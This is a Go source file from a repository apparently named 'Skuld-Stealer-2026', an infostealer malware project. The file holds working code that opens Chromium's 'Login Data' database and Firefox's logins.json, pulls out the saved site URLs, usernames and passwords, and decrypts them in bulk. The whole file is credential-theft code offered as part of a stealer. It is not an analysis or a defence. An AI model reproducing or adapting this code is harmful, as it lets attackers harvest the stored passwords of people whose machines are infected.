Files
Skuld-Stealer-2026/modules/browsers/logins.go
T
2026-08-27 11:00:27 -06:00

100 lines
1.9 KiB
Go

package browsers
import (
"encoding/base64"
"encoding/json"
"os"
"path/filepath"
_ "modernc.org/sqlite"
)
func (c *Chromium) GetLogins(path string) (logins []Login, err error) {
db, err := GetDBConnection(filepath.Join(path, "Login Data"))
if err != nil {
return nil, err
}
rows, err := db.Query("SELECT action_url, username_value, password_value, date_created FROM logins")
if err != nil {
return nil, err
}
defer rows.Close()
for rows.Next() {
var (
url, username string
pwd, password []byte
create int64
)
if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
continue
}
if url == "" || username == "" || pwd == nil {
continue
}
login := Login{
Username: username,
LoginURL: url,
}
password, err = c.Decrypt(pwd)
if err != nil {
continue
}
login.Password = string(password)
logins = append(logins, login)
}
return logins, nil
}
func (g *Gecko) GetLogins(path string) (logins []Login, err error) {
s, err := os.ReadFile(path + "\\logins.json")
if err != nil {
return nil, err
}
var data struct {
NextId int `json:"nextId"`
Logins []struct {
Hostname string `json:"hostname"`
EncryptedUsername string `json:"encryptedUsername"`
EncryptedPassword string `json:"encryptedPassword"`
}
}
if err = json.Unmarshal(s, &data); err != nil {
return nil, err
}
for _, v := range data.Logins {
decodedUser, err := base64.StdEncoding.DecodeString(v.EncryptedUsername)
if err != nil {
return nil, err
}
decodedPass, err := base64.StdEncoding.DecodeString(v.EncryptedPassword)
if err != nil {
return nil, err
}
decryptedUser, err := g.Decrypt(decodedUser)
if err != nil {
return nil, err
}
decryptedPass, err := g.Decrypt(decodedPass)
if err != nil {
return nil, err
}
logins = append(logins, Login{
Username: string(decryptedUser),
Password: string(decryptedPass),
LoginURL: v.Hostname,
})
}
return logins, nil
}